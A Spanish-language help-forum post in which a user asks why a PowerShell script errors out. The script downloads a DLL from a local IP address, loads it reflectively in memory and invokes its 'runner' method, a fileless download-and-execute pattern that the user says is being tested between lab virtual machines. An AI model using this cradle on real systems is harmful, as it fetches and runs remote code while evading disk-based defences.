Underc0de - La Casa de los Informáticos

Foros Generales => Dudas y pedidos generales => Mensaje iniciado por: 4sp1_c0d3r en Agosto 27, 2021, 07:10:29 AM

Título: Powershell Execute a specific method from an assembly
Publicado por: 4sp1_c0d3r en Agosto 27, 2021, 07:10:29 AM
hola,

tengo un problema con un script ps1 que estoy intentando probar

estas variables metod son las que me da error

$method = $class.GetMethod("runner")

$method.Invoke(0, $null)

cannot call method value of null

invalid operation

runtime exception


este es el código que estoy probando:

$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/lib.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)

lo estoy probando con varias vm una de w10 actualizado y otra de parrot os ambos en modo puente para que se puedan ver

gracias :-\